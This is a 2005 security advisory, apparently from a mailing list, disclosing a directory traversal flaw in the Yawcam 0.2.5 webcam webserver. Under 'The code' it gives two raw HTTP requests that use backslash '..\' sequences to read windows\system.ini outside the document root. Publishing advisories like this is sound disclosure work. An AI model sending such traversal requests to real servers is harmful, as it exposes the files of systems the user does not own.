OSEC

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directory traversal in Yawcam 0.2.5

From: Donato Ferrante (fdonatoautistici.org)
Date: Thu Apr 21 2005 - 09:25:20 CDT


                           Donato Ferrante

Application: Yawcam
              http://www.yawcam.com

Version: 0.2.5

Bug: directory traversal

Date: 21-Apr-2005

Author: Donato Ferrante
              e-mail: fdonatoautistici.org
              web: www.autistici.org/fdonato

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1. Description
2. The bug
3. The code
4. The fix

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1. Description:
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Vendor's Description:

"Yawcam is a webcam software for windows".

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2. The bug:
------------

The program has a built-in webserver that by default is able to avoid
malicious patterns like "/../" but it's not able to manage patterns
like "..\" or "\..\" into raw http requests.
So an attacker can go out the document root assigned to the webserver
and see/download all the files available on the remote system.

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3. The code:
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To test the vulnerability, connect to the webserver and send a raw
request like:

GET ..\..\..\..\..\..\..\..\windows\system.ini HTTP/1.0

or:

GET \..\..\..\..\..\..\..\..\windows\system.ini HTTP/1.0

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4. The fix:
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Vendor was contacted.
Bug will be probably fixed in the next release.

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